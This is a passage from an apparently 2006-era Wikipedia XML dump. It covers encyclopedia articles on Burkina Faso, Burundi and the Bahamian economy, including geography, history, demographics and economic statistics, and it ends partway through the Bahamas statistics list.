The country also contains numerous lakes. The principal lakes are [[Tingrela]], [[Lake Bam|Bam]] and [[Dem]], and the large ponds of [[Oursi]], [[Béli]], [[Yomboli]] and [[Markoye]].

[[Drought|Water shortage]]s are often a problem, especially in the north of the county.

== Climate ==
[[Image:Burkina Faso - Tolotama Reforestation.jpg|thumb|Tolotama Reforestation, Burkina Faso]]
Burkina Faso has a primarily [[Tropics|tropical]] climate with two very distinct seasons: the rainy season with between 24-35 [[inch]]es (600 and 900 mm) of rainfall, and the dry season during which the [[harmattan]] blows, a hot dry wind from the Sahara. The rainy season lasts approximately 4 months, May/June to September, and is shorter in the north of the country.

Three large climatic zones can be defined:
=== The Sahel zone === 
The [[Sahel]] in the north receives less than 24 [[inch]]es (600 [[Millimeter|mm]]) rainfall a year and high temperatures 15&amp;ndash;50&amp;nbsp;°[[Celsius|C]] (60&amp;ndash;120&amp;nbsp;°[[Fahrenheit|F]]). A relatively dry [[tropical savanna]], the Sahel extends beyond the borders of Burkina Faso, from the [[Horn of Africa]] to the [[Atlantic Ocean]], and borders the [[Sahara]] to its north, and the fertile region of the [[Sudan (region)|Sudan]] to the South.

=== The Sudan-Sahel zone ===
Situated between 11°3' and 13°5' north [[latitude]], the Sudan-Sahel region is a transitional zone with regards to rainfall and temperature.

=== The Sudan-Guinea zone ===
Further to the south, the Sudan-Guinea zone receives more than 35 inches (900 mm) rain a year and cooler average temperatures.

== Economy ==
[[Image:Burkina Faso - Tarfila Farming Group.jpg|thumb|Tarfila Farming Group]]
[[Image:Burkina Faso - Madame Badoun.jpg|thumb|shop in Burkina Faso]]
[[Image:Burkina Faso - Bobo Vendors.jpg|thumb|vendors in Burkina Faso]]
{{main|Economy of Burkina Faso}}

Burkina Faso is one of the poorest countries in the world. This can be explained by its population growth and its arid soil. [[Agriculture]] represents 32% of its gross domestic product and occupies 80% of the working population. It consists mostly of livestock but also, especially in the south and southwest, of growing sorghum, millet, maize (corn), peanuts, rice and cotton.

Lack of work causes a high rate of emigration: for example, three million people from Burkina Faso live in [[Côte d'Ivoire]]. According to the Central Bank of Western African States (La Banque Centrale des États de l'Afrique de l'Ouest), these migrants send tens of billions of CFA francs back to Burkina Faso each year. Since the 1967 expulsions from [[Ghana]], this situation has provoked tensions in the destination countries. The most recent crisis occurred owing to the events of 2003 in [[Côte d'Ivoire]], which led to the return of 300&amp;nbsp;000 migrants.

A large part of the economic activity of the country is funded by international aid.

There is mineral exploitation of [[copper]], [[iron]], [[manganese]] and, above all, [[gold]].

== Demographics ==
[[Image:Ouagadougou place nations unies.JPG|thumb|United Nations Square in Ouagadougou, Burkina Faso]]
[[Image:Burkina Faso - Sala Well.jpg|thumb|Sala Well]]
{{main|Demographics of Burkina Faso}}

Burkina Faso has an estimated life expectancy at birth of slightly under 50 years of age.  The median age of its inhabitants is under 17.

Population growth rate: 2.71% (2000 est.)

Population estimates take into account the effects of excess mortality due to [[AIDS]]; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2000 est.): the 11,946,065 ''Burkinabe'' belong to two major West African cultural groups--the [[Voltaic]] and the [[Mande]]. The Voltaic are far more numerous and include the [[Mossi]], who make up about one-half of the population.  Additionally, about 5,000 [[Europe]]ans live in Burkina Faso.

The population is concentrated in the south and center of the country, sometimes exceeding 48 per square kilometer (125/[[square mile|sq.&amp;nbsp;mi.]]). This high population density, causes annual migrations of hundreds of thousands, for seasonal employment. 

Besides traditional African religions, [[Islam]] and [[Christianity]] are also practised.

== Culture ==
{{main|Culture of Burkina Faso}}

''See also'': 
*[[List of African writers (by country)#Burkina Faso|List of writers from Burkina Faso]]
*[[Music of Burkina Faso]]
*[[Cinema of Burkina Faso]].

== Education ==
{{main|Education in Burkina Faso}}
Education in Burkina Faso is structured primary, secondary, and higher education. Education is technically free and officially mandatory until the age of 16, however few Burkinabe have had formal education.  Though schooling is free, it is not compulsory, and only about 35% of Burkina's primary school-age children receive a basic education. Institutions of higher education include the [[University of Ouagadougou]], and The Polytechnical University in  [[Bobo-Dioulasso]].

At 26.6%, Burkina Faso is the most illiterate country in Africa.([[CIA World Factbook]], November 2005)

== Miscellaneous topics ==
* [[Ambassadors to Burkina Faso]]
* [[Communications in Burkina Faso]]
* [[Foreign relations of Burkina Faso]]
* [[Holidays in Burkina Faso]]
* [[List of cities in Burkina Faso]]
* [[Military of Burkina Faso]]
* [[Music of Burkina Faso]]
* [[Transportation in Burkina Faso]]

==External links==
{{sisterlinks|Burkina Faso}}
=== Research ===
*[http://www.afrikaforschung.de/englisch/burkina_e.htm Centre for Interdisciplinary Research on Africa (ZIAF), Frankfurt, Germany]
*[http://www.biota-africa.de/1024/biota_west_english/structure_west.htm BIOTA-West]

===Culture===
*[http://www.uiowa.edu/~africart/Art%20of%20Burkina%20Faso.html &quot;The Art of Burkina Faso&quot; By Christopher D. Roy] 
*[http://www.helge.at/photos/burkina2003/ Photos from Burkina Faso]
*[http://www.uiowa.edu/~africart/photos.html Photographs of daily life in Burkina Faso (1970-2004)]  
*[http://artqtserver.art.uiowa.edu:8080/Yero%20Fantogo56K_Aud_Str001.mov Listen to &quot;Fulbe&quot; (Fulani) music] 

===Government and organizations===
*[http://www.primature.gov.bf/ Premier Ministère] official government portal (in French)
*[http://www.burkinaembassy-usa.org/ Embassy of Burkina Faso in Washington, DC] government information and links
*[http://hilfedirekt.at/webs/start_english.html Aid organization, photos and videos from Burkina Faso]

===News===
*[http://allafrica.com/burkinafaso/ allAfrica - ''Burkina Faso''] news headline links

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1032616.stm BBC News - ''Country Profile: Burkina Faso'']
*[http://www.cia.gov/cia/publications/factbook/geos/uv.html CIA World Factbook - ''Burkina Faso'']

===Directories and portals===
*[http://search.looksmart.com/p/browse/us1/us317836/us317916/us559898/us559899/us10065674/us559905 LookSmart - ''Burkina Faso''] directory category
*[http://dmoz.org/Regional/Africa/Burkina_Faso/ Open Directory Project - ''Burkina Faso''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/burkina.html Stanford University - Africa South of the Sahara: ''Burkina Faso''] directory category
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/Burkina.html University of Pennsylvania - African Country Studies: ''Burkina Faso'']
*[http://dir.yahoo.com/Regional/Countries/Burkina_Faso/ Yahoo! - ''Burkina Faso''] directory category
* [http://www.ouaganet.com/ OuagaNet.com: A portal site about Burkina Faso English/French]
*[http://www.worldatlas.com/webimage/countrys/africa/bf.htm Burkina Faso map and information page by World Atlas]

===Tourism===
*{{wikitravel}}

{{Africa}}

[[Category:African Union member states]]
[[Category:Burkina Faso|*]]
[[Category:Landlocked countries]]

[[af:Burkina Faso]]
[[am:ቡርኪና ፋሶ]]
[[ar:بوركينا فاسو]]
[[an:Burkina Faso]]
[[bg:Буркина Фасо]]
[[zh-min-nan:Burkina Faso]]
[[bn:বুর্কিনা ফাসো]]
[[bs:Burkina Faso]]
[[ca:Burkina Faso]]
[[cs:Burkina Faso]]
[[da:Burkina Faso]]
[[de:Burkina Faso]]
[[et:Burkina Faso]]
[[el:Μπουρκίνα Φάσο]]
[[es:Burkina Faso]]
[[eo:Burkino]]
[[eu:Burkina Faso]]
[[fa:بورکینافاسو]]
[[fr:Burkina Faso]]
[[gd:Burkina Faso]]
[[gl:Burquina Faso - Burkina Faso]]
[[ko:부르키나파소]]
[[ht:Boukinafaso]]
[[hr:Burkina Faso]]
[[io:Burkina Faso]]
[[id:Burkina Faso]]
[[is:Búrkína Fasó]]
[[it:Burkina Faso]]
[[he:בורקינה פאסו]]
[[ks:बुर्कीना-फासो]]
[[lv:Burkinafaso]]
[[lt:Burkina Fasas]]
[[li:Burkina Faso]]
[[hu:Burkina Faso]]
[[ms:Burkina Faso]]
[[na:Burkina Faso]]
[[nl:Burkina Faso]]
[[nds:Burkina Faso]]
[[ja:ブルキナファソ]]
[[no:Burkina Faso]]
[[nn:Burkina Faso]]
[[pl:Burkina Faso]]
[[pt:Burkina Faso]]
[[ro:Burkina Faso]]
[[ru:Буркина-Фасо]]
[[sa:बुर्कीना-फासो]]
[[sq:Burkina Faso]]
[[scn:Burchina Fasu]]
[[sk:Burkina]]
[[sl:Burkina Faso]]
[[sr:Буркина Фасо]]
[[fi:Burkina Faso]]
[[sv:Burkina Faso]]
[[tl:Burkina Faso]]
[[tr:Burkina Faso]]
[[uk:Буркіна Фасо]]
[[zh:布吉納法索]]</text>
    </revision>
  </page>
  <page>
    <title>Burma</title>
    <id>3471</id>
    <revision>
      <id>37305437</id>
      <timestamp>2006-01-30T03:26:12Z</timestamp>
      <contributor>
        <ip>146.7.40.23</ip>
      </contributor>
      <comment>page redirected from burma to myanmar (burma) to myanmar, corrected</comment>
      <text xml:space="preserve">#Redirect [[Myanmar]]</text>
    </revision>
  </page>
  <page>
    <title>Burundi</title>
    <id>3472</id>
    <revision>
      <id>42073410</id>
      <timestamp>2006-03-03T17:14:23Z</timestamp>
      <contributor>
        <username>Zsinj</username>
        <id>597658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.86.1.17|24.86.1.17]] to last version by Zsinj</comment>
      <text xml:space="preserve">{{Infobox Country | &lt;!-- Please update [[Template:Country infobox data Burundi]] when editing infobox --&gt;
native_name              = Republika y'u Burundi&lt;br&gt;République du Burundi&lt;br&gt;Republic of Burundi | 
common_name              = Burundi |
image_flag               = Flag of Burundi.svg |
image_coat               = Coa burundi large.jpg |
national_motto           = Unité, Travail, Progrès ([[French language|French]]: Unity, Work, Progress) |
image_map                = LocationBurundi.png |
national_anthem          = [[Burundi bwacu]] |
official_languages       = [[Kirundi language|Kirundi]] and [[French language|French]]. [[Swahili]] is widely spoken.|
capital                  = [[Bujumbura]] |
latd=3|latm=30|latNS=S|longd=30|longm=00|longEW=E|
government_type          = [[Republic]] |
leader_titles            = [[President of Burundi|President]] |
leader_names             = [[Pierre Nkurunziza]] |
largest_city             = [[Bujumbura]] |
area                     = 27,830 |
areami²                  = 10,745 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
area_rank                = 142nd |
area_magnitude           = 1 E10 |
percent_water            = 7.8% |
population_estimate      = 6,054,714 |
population_estimate_year = 2003 |
population_estimate_rank = 99th |
population_census        = 3,589,434 |
population_census_year   = 1978 |
population_density       = 206.1 |
population_densitymi²    = 533.8 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank  = 52 |
GDP_PPP_year             = 2003 |
GDP_PPP                  = 4,517&lt;sup&gt;1&lt;/sup&gt; |
GDP_PPP_rank             = 142 |
GDP_PPP_per_capita       = 627 |
GDP_PPP_per_capita_rank  = 163 |
HDI_year                 = 2003 |
HDI                      = 0.378 |
HDI_rank                 = 169th |
HDI_category             = &lt;font color=&quot;#E0584E&quot;&gt;low&lt;/font&gt; |
sovereignty_type         = [[Independence]] |
established_events       = &amp;nbsp;- Date |
established_dates        = From [[Belgium]] &lt;br&gt; [[July 1]], [[1962]] |
currency                 = [[Burundi franc]] (FBu) |
currency_code            = BIF |
time_zone                = [[Eastern European Time|EET]] |
utc_offset               = +2 |
time_zone_DST            = not observed |
utc_offset_DST           = +2 |
cctld                    = [[.bi]] |
calling_code             = 257 |
footnotes                = &lt;sup&gt;1&lt;/sup&gt; Estimate is based on regression; other PPP figures are extrapolated from the latest International Comparison Programme benchmark estimates.
}}

The '''Republic of Burundi''' (formerly '''Urundi''') is a small country in the [[Great Lakes (Africa)|Great Lakes]] region of [[Africa]]. It is bordered by [[Rwanda]] on the north, [[Tanzania]] on the south and east, and the [[Democratic Republic of the Congo]] on the west. Although the country is [[landlocked]], much of its western border is adjacent to [[Lake Tanganyika]]. The country's name derives from its [[Bantu languages|Bantu]] language, [[Kirundi]].

Geographically isolated, facing population pressures and having sparse resources, Burundi is one of the poorest and most conflict-ridden countries in Africa and in the world. Its small size belies the magnitude of the problems it faces in reconciling the claims of the [[Tutsi]] minority with the [[Hutu]] majority.

== History ==
{{main|History of Burundi}}

The earliest inhabitants of the area were [[Pygmy]] peoples. They were largely replaced and absorbed by Bantu tribes during [[Bantu]] [[human migration|migrations]].
Burundi existed as an independent [[List of Kings of Burundi|kingdom]] from the [[16th century]]. In [[1903]], it became a [[Germany|German]] colony and passed to [[Belgium]] in [[World War I]].  It was part of the Belgian [[League of Nations]] mandate of [[Ruanda-Urundi]] in [[1923]], later a [[United Nations]] Trust Territory under Belgian administrative authority following [[World War II]].
The origins of Burundi monarchy are veiled in myth. According to some legends, Ntare Rushatsi, founder of the original dynasty, came to Burundi from Rwanda in 17th century; other, more reliable sources, suggest that Ntare came from Buha, in the south-east, and laid the foundation for his kingdom in the Nkoma region.

Until the downfall of the monarchy in 1966, kingship remained one of last links that bound Burundi with its past.

From independence in [[1962]], until the elections of 1993, Burundi was controlled by a series of military dictators, all from the Tutsi minority. These years saw extensive ethnic violence including major incidents in [[1964]], [[1972]] and the late 1980s. In 1993, Burundi held its first [[Burundi presidential election, 1993|democratic elections]], which were won by the Hutu-dominated [[Front for Democracy in Burundi]] (FRODEBU). FRODEBU leader [[Melchior Ndadaye]] became Burundi's first Hutu President, but a few months later he was assassinated by a group of Tutsi army officers. The killing plunged Burundi into a vicious [[Burundi Civil War|civil war]].

In retaliation for Ndadaye's killing, Hutu extremists massacred hundreds of thousands of Tutsi civilians. The Tutsi-dominated army responded by massacring thousands of Hutus. Years of instability followed until 1996, when former president [[Pierre Buyoya]] took power in a coup. In August 2000, a peace-deal agreed by all but two of Burundi's political groups laid out a timetable for the restoration of democracy. After several more years of violence, a cease-fire was signed in 2003 between Buyoya's government and the largest Hutu rebel group, CNDD-FDD. Later that year, FRODEBU leader [[Domitien Ndayizeye]] replaced Buyoya as President. Yet the most extreme Hutu group, Palipehutu-FNL (commonly known as &quot;FNL&quot;), continued to refuse negotiations. In August 2004, the group massacred 152 Congolese Tutsi refugees at the [[Gatumba]] refugee camp in western Burundi. In response to the attack, the Burundian government issued arrest warrants for the FNL leaders Agathon Rwasa and Pasteur Habimana, and declared the group a terrorist organisation. 

In May 2005 a cease-fire was finally agreed between the FNL and the Burundian government, but fighting continued. Renewed negotiations are now under way, amid fears that the FNL will demand a blanket amnesty in exchange for laying down their arms. A series of [[Burundi elections, 2005|elections]], held in mid-2005 were won by the former Hutu rebel [[National Council for the Defense of Democracy-Forces for the Defense of Democracy]] (CNDD-FDD).

== Politics ==
[[Image:Pierre Nkurunziza.jpg|thumb|[[Pierre Nkurunziza]], president of Burundi]]
{{main|Politics of Burundi}}  
The political landscape of Burundi has been dominated in recent years by the [[civil war]] and a long [[peace process]] and move to [[democracy]].  The current [[President of Burundi]] is [[Pierre Nkurunziza]], a former rebel leader of the [[Hutu]] [[National Council for the Defense of Democracy-Forces for the Defense of Democracy]] who was [[Burundi elections, 2005|elected unopposed]] as the new [[Rulers and heads of state of Burundi|President of Burundi]] by the [[Parliament of Burundi|parliament]] on [[19 August]] [[2005]].  Nkurunziza was the first president chosen through democratic means since the start of the [[Burundi Civil War|civil war]] in 1993 and was sworn in on [[26 August]], replacing transitional president [[Domitien Ndayizeye]].

== Geography ==
[[Image:By-map.png|thumb|left|250px|Map of Burundi]]
[[Image:Satellite image of Burundi in February 2003.jpg|thumb|Satellite image of Burundi]]
[[Image:Bujumbura 29.36607E 3.37443S.jpg|thumb|NASA photo of Burundi]]
{{main|Geography of Burundi}}

Burundi is a [[landlocked]] country with an [[equatorial climate]].  It lies on a rolling [[plateau]], with [[Lake Tanganyika]] in its south west corner.  The average elevation of the central plateau is 5,600 [[foot (unit of length)|feet]], with lower elevations at the borders.  The highest peak, [[Mount Karonje]], at 8,809 feet (2,685 [[metre|m]]), lies to the southeast of the capital, Bujumbura.  The southeastern and southern borders are at roughtly 4,500 feet (1,370&amp;nbsp;m).  A strip of land along the [[Ruzizi River]], north of Lake Tanganyika, is the only area below 3,000 feet (915&amp;nbsp;m): this area forms part of the [[Albertine Rift]], the western extension of the [[Great Rift Valley]].  

The land is mostly [[agricultural]] or [[pasture]], the creation of which has led to [[deforestation]], [[soil erosion]] and [[habitat loss]].  There are two [[national park]]s, [[Kibira National Park]] to the northwest (a region of [[montane rainforest]], adjacent to [[Nyungwe National Park]] in Rwanda), [[Rurubu National Park]] to the north east (along the [[Rurubu River]], also known as Ruvubu or Ruvuvu).

The farthest headstream of the [[Nile]] is in Burundi.  Although [[Lake Victoria]] is commonly considered to be the source of the Nile, the [[Kagera River]] flows for 429 [[mile]]s (690 km) before reaching Lake Victoria.  The source of the [[Ruvyironza River]], an upper branch of the Kagera River, is at [[Mount Kikizi]] in Burundi.

Burundi is divided into 16 administrative [[Provinces of Burundi|provinces]]. The [[capital city]], [[Bujumbura]], has by far the largest population.  Smaller [[List of cities in Burundi|cities of Burundi]] include [[Gitega]], [[Muyinga]], [[Ngozi]] and [[Ruyigi]].

== Economy ==
{{main|Economy of Burundi}}

Burundi's largest industry is [[agriculture]], which accounted for 58% of GDP in 1997. [[Coffee]] is the nation's biggest revenue earner with 78% of all exported goods. Other agriculture products include [[cotton]], [[tea]], [[maize]], [[sorghum]], [[sweet potato]]es, [[banana]]s, [[manioc]] (tapioca); beef, milk, and hides.  Besides agriculture, other industries include light consumer goods such as blankets, shoes, soap; assembly of imported components; public works construction; food processing.  The currency is the [[Burundian franc]] (BIF).

Burundi is the poorest country in the world, in terms of GDP per capita: [[United States dollar|US$]]106 as of [[2005]].  The economy is supported by foreign aid from Western Europe and other parts of the world. In 2000 this amount reached [[US$]]92.7 million. 68% of the population lived below the poverty line in 2002.  The country's estimated gross domestic product (GDP) was US$700 million in 2001.

== Demographics ==
{{main|Demographics of Burundi}}

[[As of 2004|As of July 2004]], Burundi had an estimated population of 6,231,221, approximately half of whom are aged 14 or less.  This estimate explicitly takes into account the effects of [[AIDS]], which has a significant effect on the demographics of the country.  Roughly 85% of the population are of [[Hutu]] ethnic origin; most of the remaining population are [[Tutsi]], with a minority of [[Twa]] ([[Pygmy]]), and a few thousand Europeans and South Asians.  The population density of around 206 persons per square kilometre (534/sq.&amp;nbsp;mi) is the second highest in [[Sub-Saharan Africa]], behind only Rwanda.  The Twa are thought to be the original inhabitants of the area, with Hutu and then Tutsi settlers arriving in the [[1300s]] and [[1400s]] respectively.

The largest religion is [[Roman Catholic]]ism (62%), followed by indigenous beliefs (31%) and a minority of [[Protestant]]s (5%) and [[Muslim]]s (2%).  The official languages are [[Kirundi language|Kirundi]] and [[French language|French]], although [[Swahili]] is spoken along the western border.

Recent reports indicate the Christian population may be as high as 90% with most of the remainder being Muslim. [http://news.bbc.co.uk/2/hi/africa/4402974.stm]

== Culture ==
{{main|Culture of Burundi}}

The culture of Burundi is related to that of neighbouring countries and its prominence has been limited by the [[civil war]]. The [[Master Drummers of Burundi]] are the most famous performing group from the nation, and [[football (soccer)]] is the most popular sport.

*[[Football in Burundi]]
*[[List of African writers (by country)#Burundi|List of writers from Burundi]]
*[[Music of Burundi]]

== Miscellaneous topics ==
* [[Communications in Burundi]]
* [[Foreign relations of Burundi]]
* [[Military of Burundi]]
* [[Transportation in Burundi]]

''Much of the material in these articles comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''

==References==
* [http://www.state.gov/r/pa/ei/bgn/2821.htm Background Notes on Burundi] - This is the source for most of the material in this article.

==Further reading==
* ''Burundi: Ethnic Conflict and Genocide'' Reni Lemarchand and Lee H. Hamilton

==External links==
{{sisterlinks|Burundi}}

===News===
*[http://www.abp.info.bi/ Agence Burundaise de Presse (ABP)] (in French)
*[http://allafrica.com/burundi/ allAfrica - Burundi]
*[http://www.isanganiro.org/ Radio Isanganiro] Burundi's independent radio station, one of the few independent sources of daily news in Burundi. You can listen online in French and Kirundi.
*[http://www.umuco.com/ umuco.com] Burundian-run news site, with detailed news and analysis, mainly in French
*[http://www.BurundiRealite.Org/ Burundi Réalités] News and analysis, French&amp;English

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1068873.stm BBC News - ''Country Profile: Burundi'']
*[http://www.cia.gov/cia/publications/factbook/geos/by.html CIA World Factbook - ''Burundi'']

===Directories===
*[http://search.looksmart.com/p/browse/us1/us317836/us317916/us559898/us559899/us10065675/us559906/ LookSmart - ''Burundi''] directory category
*[http://dmoz.org/Regional/Africa/Burundi/ Open Directory Project - ''Burundi''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/burundi.html Stanford University - Africa South of the Sahara: ''Burundi''] directory category
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/Burundi.html University of Pennsylvania - African Studies Center: ''Burundi''] directory category
*[http://dir.yahoo.com/Regional/Countries/Burundi/ Yahoo! - ''Burundi''] directory category

===Tourism===
*{{wikitravel}}

===Other===
* [http://www.ligue-iteka.africa-web.org/index.php3 Burundian Human Rights Organisation &quot;Ligue Iteka&quot;] - with up-to-date news in English and French 
* [http://agathonrwasa.blogspot.com Campaign for the prosecution of FNL leader Agathon Rwasa]
* [http://www.hrw.org/doc?t=africa&amp;c=burund Human Rights Watch reports on Burundi] 
* [http://www.wilsoncenter.org/index.cfm?topic_id=1417&amp;fuseaction=topics.documents&amp;group_id=92370 Woodrow Wilson Center Reports on Burundi] 
* [http://hrw.org/backgrounder/africa/burundi/2004/0904/1.htm#_Toc81987410 Human Rights Watch special report on the August 2004 Gatumba massacre]
* [http://www.icg.org/home/index.cfm?id=1172&amp;l=1 Links to political analyses from 1998 on] by the [[International Crisis Group]]
* [http://www.alertnet.org/thefacts/countryprofiles/152653.htm Reuters Alertnet - Burundi] humanitarian news
* [http://www.irinnews.org/frontpage.asp?SelectRegion=Great_Lakes&amp;SelectCountry=Burundi Updated humanitarian news] from the [[United Nations]] [[Office for the Coordination of Humanitarian Affairs]]

{{Africa}}


[[Category:African Union member states]]
[[Category:Burundi|*]]
[[Category:Landlocked countries]]
[[af:Burundi]]
[[ar:بوروندي]]
[[an:Burundi]]
[[bg:Бурунди]]
[[zh-min-nan:Burundi]]
[[bn:বুরুন্ডি]]
[[bs:Burundi]]
[[ca:Burundi]]
[[cs:Burundi]]
[[da:Burundi]]
[[de:Burundi]]
[[et:Burundi]]
[[es:Burundi]]
[[eo:Burundo]]
[[eu:Burundi]]
[[fr:Burundi]]
[[gl:República de Burundi - Republika y'u Burundi]]
[[ko:부룬디]]
[[hr:Burundi]]
[[io:Burundi]]
[[ilo:Burundi]]
[[id:Burundi]]
[[is:Búrúndí]]
[[it:Burundi]]
[[he:בורונדי]]
[[ks:बुरुंडी]]
[[rn:Burundi]]
[[sw:Burundi]]
[[ku:Bûrûndî]]
[[lv:Burundi]]
[[lt:Burundis]]
[[li:Boeroendi]]
[[hu:Burundi]]
[[ms:Burundi]]
[[na:Burundi]]
[[nl:Burundi]]
[[nds:Burundi]]
[[ja:ブルンジ]]
[[no:Burundi]]
[[nn:Burundi]]
[[pl:Burundi]]
[[pt:Burundi]]
[[ro:Burundi]]
[[ru:Бурунди]]
[[sa:बुरुंडी]]
[[sq:Burundi]]
[[simple:Burundi]]
[[sk:Burundi]]
[[sl:Burundi]]
[[sr:Бурунди]]
[[fi:Burundi]]
[[sv:Burundi]]
[[tl:Burundi]]
[[tr:Burundi]]
[[uk:Бурунді]]
[[zh:蒲隆地]]</text>
    </revision>
  </page>
  <page>
    <title>Bahamas/History</title>
    <id>3473</id>
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    <title>Bahamas/Geography</title>
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    <title>Bahamas/People</title>
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    <title>Government of the Bahamas</title>
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  <page>
    <title>Economy of the Bahamas</title>
    <id>3477</id>
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      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">The [[Bahamas]] is a stable, developing nation with an economy heavily dependent on [[tourism]] and [[offshore banking]].  Steady growth in tourism receipts and a boom in construction of new hotels, resorts, and residences had led to solid GDP growth in recent years, but the slowdown in the US economy and the attacks of [[11 September]] [[2001]] held back growth in these sectors in 2001-03. Financial services constitute the second-most important sector of the Bahamian economy, accounting for about 15% of GDP. However, since December 2000, when the government enacted new regulations on the financial sector, many international businesses have left The Bahamas. Manufacturing and agriculture together contribute approximately a tenth of GDP and show little growth, despite government incentives aimed at those sectors. Overall growth prospects in the short run rest heavily on the fortunes of the tourism sector, which depends on growth in the US, the source of more than 80% of the visitors. In addition to tourism and banking, the government supports the development of a &quot;third pillar,&quot; e-commerce. 

==Basic Ingredients of the Bahamian Economy==
The '''Bahamian economy''' is almost entirely dependent on tourism and financial services to generate foreign exchange earnings. Tourism alone provides an estimated 60% of the [[gross domestic product]] (GDP) and employs about half the Bahamian work force. In 2004, over 5 million tourists visited The Bahamas, most of whom are from the [[United States]].

A major contribution to the recent growth in the overall Bahamian economy is Kerzner International's Atlantis Resort and Casino, which took over the former Paradise Island Resort and has provided a much needed boost to the economy. In addition, the opening of Breezes Super Club and Sandals Resort also aided this turnaround. The Bahamian Government also has adopted a proactive approach to courting foreign investors and has conducted major investment missions to the [[Far East]], [[Europe]], [[Latin America]], and [[Canada]]. The primary purpose of the trips was to restore the reputation of The Bahamas in these markets.

Financial services constitute the second-most important sector of the Bahamian economy, accounting for up to 15% of GDP, due to the country's status as a tax haven and offshore banking center. As of December 1998, the government had licensed 418 banks and trust companies in The Bahamas. The Bahamas promulgated the International Business Companies (IBC) Act in January 1990 to enhance the country's status as a leading financial center. The act served to simplify and reduce the cost of incorporating offshore companies in The Bahamas. Within 9 years, more than 84,000 IBC-type companies had been established. In February 1991, the government also legalized the establishment of Asset Protection Trusts in The Bahamas. In December 2000, the government enacted a legislative package to better regulate the financial sector, including creation of a Financial Intelligence Unit and enforcement of &quot;know-your-customer&quot; rules.

[[Agriculture]] and fisheries industry together account for 5% of GDP. The Bahamas exports lobster and some fish but does not raise these items commercially. There is no largescale agriculture, and most agricultural products are consumed domestically. The Bahamas imports more than $250 million in foodstuffs per year, representing about 80% of its food consumption. The government aims to expand food production to reduce imports and generate foreign exchange. It actively seeks foreign investment aimed at increasing agricultural exports, particularly specialty food items. The government officially lists beef and pork production and processing, fruits and nuts, dairy production, winter vegetables, and mariculture (shrimp farming) as the areas in which it wishes to encourage foreign investment.

The Bahamian Government maintains the value of the Bahamian dollar on a par with the U.S. dollar. The Bahamas is a beneficiary of the U.S.-[[Caribbean Basin Trade Partnership Act]] (CBTPA), Canada's [[CARIBCAN]] program, and the European Union's Lome IV Agreement. Although the Bahamas participates in the political aspects of the [[Caribbean Community]] (CARICOM), it has not entered into joint economic initiatives with other Caribbean states.

The Bahamas has a few notable industrial firms: the Freeport pharmaceutical firm, PFC Bahamas (formerly Syntex), which recently streamlined its production and was purchased by the Swiss pharmaceutical firm Roche; the BORCO oil facility, also in Freeport, which transships oil in the region; the Commonwealth Brewery in Nassau, which produces Heineken, Guinness, and Kalik beers; and Bacardi Corp., which distills rum in Nassau for shipment to the U.S. and European markets. Other industries include sun-dried sea salt in Great Inagua, a wet dock facility in Freeport for repair of cruise ships, and mining of aragonite--a type of limestone with several industrial uses-- from the sea floor at Ocean Cay.

The Hawksbill Creek Agreement established a duty-free zone in Freeport, The Bahamas' second-largest city, with a nearby industrial park to encourage foreign industrial investment. The [[Hong Kong]]-based firm, [[Hutchison Whampoa]], has opened a container port in Freeport. The Bahamian Parliament approved legislation in 1993 that extended most Freeport tax and duty exemptions through 2054.

The Bahamas is largely an [[import]], [[service economy]]. There are about 110 U.S.-affiliated businesses operating in The Bahamas, and most are associated with [[tourism]] and [[banking]]. With few domestic resources and little industry, The Bahamas imports nearly all its food and manufactured goods from the United States. American goods and services tend to be favored by Bahamians due to cultural similarities and heavy exposure to American advertising.

==Business Environment==
The Bahamas offers attractive features to the potential investor: a stable democratic environment, relief from personal and corporate income taxes, timely repatriation of corporate profits, proximity to the U.S. with extensive air and [[telecommunication]]s links, and a good pool of skilled professional workers. The Government of The Bahamas welcomes foreign [[investment]] in tourism and banking and has declared an interest in agricultural and industrial investments to generate local employment, particularly in white-collar or skilled jobs. Despite its interest in foreign investment to diversify the economy, the Bahamian Government responds to local concerns about foreign competition and tends to protect Bahamian business and labor interests. As a result of domestic resistance to foreign investment and high labor costs, growth can stagnate in sectors which the government wishes to diversify.

The country's infrastructure is best developed in the principal cities of Nassau and Freeport, where there are relatively good paved roads and international airports. Electricity is generally reliable, although many businesses have their own backup generators. In Nassau, there are two daily newspapers, three weeklies, and several international newspapers available for sale. There also are five radio stations. Both Nassau and Freeport have a television station. Cable TV also is available locally and provides most American programs with some Canadian and European channels.

==Areas of Opportunity==
The best U.S. export opportunities remain in the traditional areas of foodstuffs and manufactured goods: vehicles and [[automobile parts]]; [[hotel]], [[restaurant]], and [[medical]] supplies; and [[computer]]s and electronics. Bahamian tastes in consumer products roughly parallel those in the U.S. With approximately 85% of the population of primarily [[African]] descent, there is a large and growing market in the Bahamas for &quot;ethnic&quot; personal care products. Merchants in southern [[Florida]] have found it profitable to advertise in Bahamian publications. Most imports in this sector are subject to high but nondiscriminatory tariffs.

==Statistics==
*&quot;GDP&quot;
**purchasing power parity - $5.295 billion (2004 est.)
*&quot;GDP - real growth rate&quot;
**3% (2004 est.)
*&quot;GDP - per capita&quot;
**purchasing power parity - $17,700 (2004 est.)
*&quot;GDP - composition by sector&quot;
**agriculture: 3%
**industry: 7%
**services: 90% (2001 est.)
*&quot;Household income or consumption by percentage share&quot;
**lowest 10%: NA
**highest 10%: 27% (2000)
*&quot;Inflation rate (consumer prices)&quot;
**1.2% (year ending September 2004)
*&quot;Labor force&quot;
**156,000 (1999)
*&quot;Labor force - by occupation&quot;
**agriculture 5%, industry 5%, tourism 50%, other services 40% (1999 est.)  
*&quot;Unemployment rate&quot;
**10.2% (2004 est.)  
*&quot;Budget&quot;
**revenues: $1 billion
**expenditures: $1 billion, including capital expenditures of $106.7 million (FY03/04)
